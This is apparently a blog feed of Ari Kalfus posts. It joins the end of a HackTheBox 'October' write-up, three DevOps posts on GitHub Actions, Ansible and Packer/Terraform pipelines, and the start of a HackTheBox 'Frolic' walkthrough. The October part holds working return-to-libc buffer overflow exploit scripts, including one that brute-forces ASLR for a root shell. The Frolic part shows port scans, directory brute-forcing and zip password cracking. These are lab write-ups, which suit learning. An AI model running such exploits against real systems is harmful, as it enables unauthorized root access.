    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)

On my Kali host, I generate a pattern to find the buffer offset. This will tell me how many bytes of data I need to pad my exploit with to fill the executable's buffer.

artis3n@kali-pop:~/shares/htb/october$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

In the test VM, I use this pattern as input to the program while running in gdb to find the snippet of the pattern in memory when the application crashes. Yes, I will have to keep jumping between hosts throughout these commands. Double check what host I have bolded!

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 in ?? ()

It looks like 0x64413764 was the data that caused the program to crash.

Back on the Kali host, I run this hex code through pattern_offset to find the exact number of offset bytes: 112.

artis3n@kali-pop:~/shares/htb/october$ msf-pattern_offset -q 0x64413764
[*] Exact match at offset 112

On the test VM, with ASLR disabled, I can construct a buffer overflow exploit with the following setup. I need the memory addresses of the system calls system and exit, and the memory address of /bin/sh. This will let me construct a return-to-libc attack. I explain this in more detail in my HTB Frolic writeup.

I get the memory address of system - 0xb7e53310.

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e53310 <__libc_system>

I did not copy the p exit command and result, but you would repeat the above for exit instead of system.

I get the memory address of /bin/sh - 0xb7f75d4c

gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c ("/bin/sh")

With these, I can create the following (ASLR disabled) exploit.

#!/usr/bin/env python

import struct

buffersled = "A"*112

libc = ''
system = struct.pack('<I', 0xb7e53310)
exit = struct.pack('<I', 0xb7e46260)
binsh = struct.pack('<I', 0xb7f75d4c)

payload = buffersled + system + exit + binsh

print payload

If I pass this program's execution as input to the ovrflw binary on the test VM, I get a root shell.

./ovrflw $(python exploit.py)

However, this is only with ASLR disabled. With a working base exploit, I can now re-enable ASLR to continue developing my exploit.

artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 2 > /proc/sys/kernel/randomize_va_space

With ASLR re-enabled, libc's memory address again changes every time.

artis3n@ubuntu:~/Desktop$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b9000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a4000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e5000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7613000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751f000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751b000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7530000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7522000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d6000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7561000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7533000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)

HOWEVER!

Inspecting this output, I notice that the memory addresses stay relatively the same. They generally all begin with 0xb75, some with 0xb76. They all end in 000. Really, only the two bytes in the middle are changing each time. This means there are 512 possibilities for libc's address in each invocation. In other words, I have a 1/512 chance of guessing libc's memory address each time I invoke the executable. If I exploit the binary 513 times, there is an extremely high chance that I will see one of these addresses again. In fact, due to the birthday paradox, I only need about 30 guesses to get over 50% probability that I'll correctly guess libc's memory address.

https://www.dcode.fr/birthday-problem

I can use the first memory address in the above list, 0xb75b9000, and brute force the payload until I get a shell. Note that this only works because we can crash this program as many times as we need without breaking the server.

So, now I need to gather memory addresses from the target system instead of my test VM.

I get libc's memory address on the target - 0xb755c000:

www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc  
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755c000)

Now I need the memory offsets of system, exit, and /bin/sh from the relative location of the memory address of libc. This allows these three memory addresses to be correct as long as we guess the correct libc address during any execution. We get these memory offsets with readelf on the /lib/i386-linux-gnu/libc.so.6 library, as that is in the result of the previous libc memory address command.

The system@@GLIBC_2.0 address is 0x00040310.

www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
stemelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i sy 
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

The exit@@GLIBC_2.0 address is 0x00033260.

www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
itadelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i ex 
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  1836: 000b84f4    24 FUNC    WEAK   DEFAULT   12 _Exit@@GLIBC_2.1.1
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

Since /bin/sh is not a system call like system and exit, I cannot use readelf to get its memory offset. Instead, I can just use strings against the libc library.

www-data@october:/dev/shm$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
n/shngs -atx /lib/i386-linux-gnu/libc.so.6 | grep /bi 
 162bac /bin/sh

The /bin/sh memory address is 0x00162bac.

Now I create my final payload. This script will run my exploit a maximum of 512 times.

#!/usr/bin/env python

from subprocess import call
import struct

buffersled = "A"*112

libc = 0xb755c000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)

payload = buffersled + system + exit + binsh


i = 0
while (i < 512):
    print("Try %s" % i)
    i += 1
    ret = call(["/usr/local/bin/ovrflw", payload])

I upload this payload to the target machine and execute it.
Within a few seconds I have a root shell!

I am off to grab the root flag.

Test a Million Supported Systems with Molecule + GitHub Actions Matrix

Ari Kalfus — Thu, 13 Aug 2020 23:46:12 +0000

From a comment on the announcement article:

For this contest, you'll only be able to submit projects that you started after this announcement post was published.

Well, I guess I am disqualified. But, leaving this post up as a resource for anyone that may like it.

My Workflow

I am a big fan of Tailscale for a Wireguard VPN mesh. Some months ago, someone requested that Tailscale support an Ansible Galaxy role to set up a Tailscale node. I saw the help wanted tag and knew what I must do.

However, Tailscale supports a large number of operating systems, and I wanted my Tailscale Ansible role to support everything that Tailscale supports. I needed a CI workflow that would test all those systems in parallel whenever I created a new PR.

I still have a few operating systems to add support for (dreading Windows and OSX for the CI difficulties they present), but I currently run tests against 10 operating systems in parallel using a GitHub Action workflow to spawn dynamic Action jobs that each run Molecule against a single system. This leverages a GitHub Action matrix.

Submission Category:

Maintainer Must-Haves

Yaml File or Link to Code

artis3n / ansible-role-tailscale

Ansible role to install and enable a Tailscale node.

artis3n.tailscale

This role initializes a Tailscale node.

Find supported operating systems on this role's Ansible Galaxy page.

Requirements

You must supply a tailscale_auth_key variable, which can be generated under your Tailscale account at https://login.tailscale.com/admin/authkeys.

Role Variables

tailscale_auth_key

Required

An ansible-vault encrypted variable containing a Tailscale Node Authorization auth key.

A Node Authorization auth key can be generated under your Tailscale account at https://login.tailscale.com/admin/authkeys.

Encrypt this variable with the following command:

ansible-vault encrypt_string --vault-id tailscale@.ci-vault-pass '[AUTH KEY VALUE HERE]' --name 'tailscale_auth_key'

See Ansible's documentation for an explanation of the ansible-vault encrypt_string command syntax.

release_stability

Default: stable

Whether to use the Tailscale stable or unstable track.

stable:

Stable releases. If you're not sure which track to use, pick this one.

unstable:

The bleeding edge. Pushed early and often. Expect rough edges!

tailscale_args

Pass any additional command-line arguments to tailscale up.

Note…

View on GitHub

The Ansible role can be found on Ansible Galaxy here.

The key for this GitHub Action matrix workflow to work is the following setup in my molecule.yml file:

platforms:
  - name: instance
    image: ${MOLECULE_DISTRO:-geerlingguy/docker-centos7-ansible:latest}

From there, I can set up which systems to run Molecule against with a matrix:

jobs:
  molecule:
    runs-on: ubuntu-latest

    strategy:
      matrix:
        distros:
          - geerlingguy/docker-centos7-ansible:latest
          - geerlingguy/docker-centos8-ansible:latest
          - geerlingguy/docker-amazonlinux2-ansible:latest
          - geerlingguy/docker-ubuntu2004-ansible:latest
          - geerlingguy/docker-ubuntu1804-ansible:latest
          - geerlingguy/docker-ubuntu1604-ansible:latest
          - geerlingguy/docker-debian10-ansible:latest
          - geerlingguy/docker-debian9-ansible:latest
          - geerlingguy/docker-fedora31-ansible:latest
          - artis3n/docker-arch-ansible:latest
      fail-fast: false

    steps:

Important! - You don't want to forget fail-fast: false.
This stops the action workflow from stopping whenever a single job fails. We want each spawned job to run in isolation from the others, so we can independently see which systems are good and which have issues.

Then, we just need a single job definition that uses the distro matrix variable. GitHub Actions will automatically spawn a job for each item in the matrix.

- name: Molecule
        run: echo "${{ secrets.VAULT_PASS }}" > /home/runner/work/_temp/.vault-ci-pass && ANSIBLE_VAULT_PASSWORD_FILE=/home/runner/work/_temp/.vault-ci-pass pipenv run molecule test
        env:
          MOLECULE_DISTRO: "${{ matrix.distros }}"

This spawns a job for each matrix distribution:

Additional Resources / Info

True CI/CD Pipeline for "Golden Image" AMIs

Ari Kalfus — Thu, 13 Aug 2020 23:23:24 +0000

From a comment on the announcement article:

For this contest, you'll only be able to submit projects that you started after this announcement post was published.

Well, I guess I am disqualified. But, leaving this post up as a resource for anyone that may like it.

My Workflow

I have a process that creates custom AMIs as a "golden image" and provisions infrastructure using Terraform for custom penetration testing resources in AWS. This workflow can be used for any type of image, however!

I leverage Packer with Ansible provisioners to build an EC2 image, then have Packer freeze that server into an AMI image. I use Molecule and Terraform Plan (using a free Terraform Cloud account and Hashicorp's Terraform GitHub Action) to test PRs. Merges to main trigger Packer builds that create a new AMI in my AWS account. Terraform then runs and creates new infrastructure based off of the new AMI.

Submission Category:

DIY Deployments

Yaml File or Link to Code

The repo where this is all contained is:

artis3n / cloud-hackbox

Create custom AMIs with Packer and Ansible to enable rapid provisioning of offensive infrastructure in AWS using Terraform.

cloud-hackbox

A repository to build and provision custom pentest resources in AWS.

Supported hackboxes:

Kali Linux

Additional desired hackboxes:

ParrotOS

Setup

pip install pipenv
# Installs Terraform, Packer, and Pipenv dependencies (e.g. Ansible)
make install
# If you want to run Molecule tests
pipenv install --dev
# Set your AWS credentials
export AWS_ACCESS_KEY_ID=
export AWS_SECRET_ACCESS_KEY=...
# If you have default or ephemeral credentials saved in ~/.aws/credentials you can forego these env vars

Then choose a hackbox and follow the instructions to build and provision it.

Hackboxes

Kali Linux AMI

Packer file: kali/kali-ami.json

Builds a Kali Linux AMI with the following:

Updates all packages on the system
Installs and configures a number of frequently used packages
- See the full list.

This AMI also pre-configures UFW. The following UFW rules are pre-configured:

deny all incoming
allow all outgoing
enable ssh on tcp/22 with brute force mitigation (ufw limit)
…

View on GitHub

Let's step through the 2 workflows I use for this smooth CI/CD process.

CI

https://github.com/artis3n/cloud-hackbox/blob/main/.github/workflows/ci.yml

The CI workflow runs molecule to ensure any changes to the Ansible playbook for the AMI work and terraform to ensure any changes to that code results in the infrastructure that you expect. PRs must pass both checks before they can be merged.

CD

https://github.com/artis3n/cloud-hackbox/blob/main/.github/workflows/build.yml

In this workflow file, I build the new AMI with Packer and deploy it to my AWS account whenever new code is merged to main. I do not run Terraform afterward in this file because my use case is on-demand infrastructure in the future, but this can be accomplished with the following addition:

- name: Packer build
  run: packer build kali/kali-ami.json
  env:
      AWS_MAX_ATTEMPTS: 90
      AWS_POLL_DELAY_SECONDS: 60
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# New steps

- uses: hashicorp/setup-terraform@v1
  with:
      cli_config_credentials_token: ${{ secrets.TF_API_TOKEN }}

- name: Init
  run: cd kali/terraform && terraform init

- name: Provision
  run: cd kali/terraform && terraform apply -auto-approve

We can be confident about the -auto-approve as we have reviewed any changes in the plan during the PR review process.

Additional Resources / Info

Automatically Deploy Your Ansible Galaxy Collections

Ari Kalfus — Thu, 13 Aug 2020 22:49:58 +0000

From a comment on the announcement article:

For this contest, you'll only be able to submit projects that you started after this announcement post was published.

Well, I guess I am disqualified. But, leaving this post up as a resource for anyone that may like it.

My Workflow

Ansible Galaxy Collections were released in late 2019 as a modern method of sharing Ansible roles, plugins, and other snippets of a playbook. Deploying a Collection involves several ansible-galaxy collection commands.

I created a GitHub Action to simplify the process of publishing and updating a Collection to Ansible Galaxy.

The custom Action also provides some conveniences, such as allowing the Action workflow to assign a version to the Galaxy Collection.

For example:

- name: Get the version from the tag
  run: echo ::set-env name=RELEASE_VERSION::${GITHUB_REF/refs\/tags\//

- name: Injecting a dynamic Collection version
  uses: artis3n/ansible_galaxy_collection@v2
  with:
    api_key: '${{ secrets.GALAXY_API_KEY }}'
    galaxy_version: '${{ env.RELEASE_VERSION }}'

Submission Category:

DIY Deployments

Yaml File or Link to Code

I use this in a small personal collection:

https://github.com/artis3n/ansible-collection-github/blob/master/.github/workflows/deploy.yml#L14

Such a simple workflow, so convenient!

The full Action code (Typescript published into a Docker-based GitHub Action) is here:

artis3n / ansible_galaxy_collection

Deploy a Collection to Ansible Galaxy.

ansible_galaxy_collection

Deploy a Collection to Ansible Galaxy.

Requirements

This action expects to be run from a repository with certain met conditions.

The repository contains a valid Ansible Galaxy Collection, meaning it minimally contains a galaxy.yml file and a README.md.

An example workflow using this action can be found here and in the tests.

Inputs

api_key

Required: Ansible Galaxy API key.

This should be stored in a Secret on GitHub. See Creating and Using Secrets Encrypted Variables.

collection_dir

Default: ./

The directory in which the Ansible Collection is stored. This defaults to the project root.

Only change this if your Collection is not stored in your project root.

galaxy_version

Semver-compatible string: 1, 1.1, 1.1.1, 1.1.1-alpha

Dynamically inject a semver-compatible version into your galaxy.yml file.

galaxy_config_file (Deprecated)

Default: galaxy.yml

A collection must have a galaxy.yml file that contains the necessary information to build…

View on GitHub

Additional Resources / Info

I wrote about how I created this action and some of the philosophy behind GitHub Actions here:

Galaxy Collections Part 2: Automatically Update Your Collection with Github Actions

Ari Kalfus ・ Nov 3 '19 ・ 16 min read

#devops #showdev #ansible #github

Buffer Overflow on HackTheBox Frolic - with Metasploit

Ari Kalfus — Sun, 28 Jun 2020 22:35:32 +0000

This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.

Frolic

Difficulty: Easy

Machine IP: 10.10.10.111

I start off, as always, with a couple of port scans.

sudo nmap -sS -T4 -p- 10.10.10.111

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 14:30 EDT
Nmap scan report for 10.10.10.111
Host is up (0.014s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1880/tcp open  vsat-control
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 16.06 seconds

sudo nmap -sS -T4 -A -p 22,139,445,1880,9999 10.10.10.111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 14:33 EDT
Nmap scan report for 10.10.10.111
Host is up (0.066s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:                                                                                              
|_clock-skew: mean: -1h44m08s, deviation: 3h10m31s, median: 5m51s                                                 
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)                         
| smb-os-discovery:                                                                                               
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)                                                                         
|   Computer name: frolic                                                                                         
|   NetBIOS computer name: FROLIC\x00                                                                             
|   Domain name: \x00                                                                                             
|   FQDN: frolic                                                                                                  
|_  System time: 2020-06-25T00:09:53+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-24T18:39:53
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   83.22 ms 10.10.14.1
2   83.64 ms 10.10.10.111

I am particularly interested in seeing that tcp/1880 and tcp/9999 are web servers.

Since SMB is also open on this machine, I try to access SMB shares, but none are exposed.

smbmap -u "" -H 10.10.10.111

[+] Guest session       IP: 10.10.10.111:445    Name: 10.10.10.111                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (frolic server (Samba, Ubuntu))

I start my enumeration with gobuster.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x txt,php -u http://10.10.10.111:1880/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.111:1880/
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/06/24 14:56:51 Starting gobuster
===============================================================
/icons (Status: 401)
/red (Status: 301)
/vendor (Status: 301)
/settings (Status: 401)
/Icons (Status: 401)
/nodes (Status: 401)
/SETTINGS (Status: 401)
/flows (Status: 401)
/ICONS (Status: 401)
===============================================================
2020/06/24 15:10:34 Finished
===============================================================

Nothing particularly interesting on tcp/1880, let's check tcp/9999 before digging in deeper.

nikto highlights several interesting endpoints, /admin, /backup, and /test.

nikto -host http://10.10.10.111:9999/

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.111
+ Target Hostname:    10.10.10.111
+ Target Port:        9999
+ Start Time:         2020-06-24 14:46:46 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.10.3 appears to be outdated (current is at least 1.14.0)
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ /test/: Output from the phpinfo() function was found.
+ OSVDB-3092: /test/: This might be interesting...
+ /test/index.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /test/index.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /admin/index.html: Admin login page/section found.
+ 7865 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2020-06-24 14:49:20 (GMT-4) (154 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Simultaneously running gobuster reveals an additional endpoint of interest - /dev.

gobuster dir -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://10.10.10.111:9999/

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.111:9999/
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/06/24 14:52:23 Starting gobuster
===============================================================
/admin (Status: 301)
/test (Status: 301)
/dev (Status: 301)
/backup (Status: 301)
/loop (Status: 301)
===============================================================
2020/06/24 15:02:01 Finished
===============================================================

Let's start looking at these endpoints.

As nikto found, navigating to /test reveals the output of phpinfo(). This has a bunch of information about the target system, but is not particularly interesting to me at this time. I note that it's there to review later if I need it.

One particular interesting item is where the web server is located on the file system.

$_SERVER['SCRIPT_FILENAME'] /var/www/html/test/index.php

On http://10.10.10.111:9999/backup I find what appears to be a list of files underneath this directory.

Sure enough, I find a pair of credentials here.

Looking back, these appear to be a red herring but, ok, for now let's note them down as possible credentials.

On http://10.10.10.111:9999/admin I find a login page. The credentials from /backup do not work. Inspecting the source code, I see the form doesn't actually submit a web request. Instead, it runs a validate() function. I also see that a js/login.js script is imported by this page.

Let's check out its contents. Looks like I found the credentials to /admin.

Upon successful login to the /admin form, I get to a page with a cipher on it.

….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. ….. ….. ….. ….. ..!.? ….. ….. .!?!! .?… ….. ..?.? !.?.. ….. ….. ….! ….. ….. .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ….. ….. .!.!! !!!!! !!!!! !!!.? ….. ….. ….. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… ….. ….. ….! ?!!.? ….. ….. ….. .?.?! .?… ….. ….. …!. !!!!! !!.?. ….. .!?!! .?… …?. ?!.?. ….. ..!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?…. ….. ….. …!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. !…. ….. ..!.! !!!!! !.!!! !!… ….. ….. ….! .?… ….. ….. ….! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ….. .?.?! .?… ….. ….! .?… ….. ….. ..!?! !.?.. ….. ….. ..?.? !.?.. !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ….. …!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !…. ….. ….. ….. !.!.? ….. ….. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ….. ….! ?!!.? ….. ….. ?.?!. ?…. ….. ….. ..!.. ….. ….. .!.?. ….. …!? !!.?! !!!!! !!?.? !.?!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ….. …!? !!.?. ….. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. ….. ….. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ….. ..!.! !!!!! !.?.

I googled around trying to figure out what this is, but wasn't successful. I ended up dumping this entire thing into Google, which brought up a link to the Wikipedia page for the Ook! programming language. It looks like I can execute Ook! code on https://www.splitbrain.org/_static/ook/.

The result I get back is:

Nothing here check /asdiSIAJJ0QWE9JAS

All right, it's one of these servers. I navigate to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS.

Here I get more encoded content.

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA

Putting this content into a file and viewing it with vim, I notice there are spaces between these lines of content. I remove them with the vim command :s/ //g.

I then try to decode this message as bas64 on a hunch. I get symbols back, but I don't get a base64 error, so I know I am on the right track. I put the base64-decoded content into a file and see if my system will tell me what it is. It looks like I've decoded a .zip file.

I try unzip but it is password-protected. Luckily, zip passwords are easy to crack. I can do so with fcrackzip. My favorite wordlist to use for this kind of thing is rockyou.txt.

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt second_cipher.zip 

PASSWORD FOUND!!!!: pw == password

The cracking is nearly instantaneous. Should have tried guessing that to begin with. Unzipping this archive reveals a single file, index.php. The content of the file is:

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b797
37250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7
973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b79737550437
3674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5
330744c5330674c6a77724b7973670d0a4b317374506973674b7973725046306750697
3724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7
973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b317
3674c5434744c5330675046302b4c5330674c5330744c533467504373724b797367577
9302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

